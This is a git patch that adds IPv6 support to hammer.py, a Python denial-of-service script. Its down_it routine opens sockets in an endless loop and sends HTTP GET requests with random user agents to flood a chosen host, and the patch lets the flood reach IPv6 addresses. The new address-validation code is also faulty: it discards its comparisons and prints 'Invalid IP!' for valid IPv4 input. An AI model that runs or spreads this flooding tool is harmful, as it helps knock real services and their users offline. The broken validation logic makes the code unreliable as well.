From dba0fd3c087a51b199467356c5cf0d7aa97f8f3c Mon Sep 17 00:00:00 2001 From: Lucas Santiago Date: Thu, 23 Sep 2021 19:25:41 -0300 Subject: [PATCH] feat: added IPV6 support --- hammer.py | 24 +++++++++++++++++++----- 1 file changed, 19 insertions(+), 5 deletions(-) diff --git a/hammer.py b/hammer.py index 2ffdf1f..b315609 100644 --- a/hammer.py +++ b/hammer.py @@ -8,7 +8,7 @@ from queue import Queue from optparse import OptionParser -import time,sys,socket,threading,logging,urllib.request,random +import time,sys,socket,threading,logging,urllib.request,random,ipaddress def user_agent(): global uagent @@ -41,11 +41,14 @@ def bot_hammering(url): time.sleep(.1) -def down_it(item): +def down_it(item, ): try: while True: packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8') - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + if ip4: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + else: + s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) s.connect((host,int(port))) if s.sendto( packet, (host, int(port)) ): s.shutdown(1) @@ -123,7 +126,8 @@ def get_parameters(): #task queue are q,w q = Queue() w = Queue() - +# Ip version +ip4 = True if __name__ == '__main__': if len(sys.argv) < 2: @@ -135,7 +139,17 @@ def get_parameters(): my_bots() time.sleep(5) try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + # Check if it's either a ipv4, a ipv6 or a invalid IP! + try: + ipaddress.ip_address(host) == ipaddress.IPv4Address(host) + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except: + ipaddress.ip_address(host) == ipaddress.IPv6Address(host) + s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) + ip4 = False + else: + print('\033[91mInvalid IP!\nPlease try another one!') + s.connect((host,int(port))) s.settimeout(1) except socket.error as e: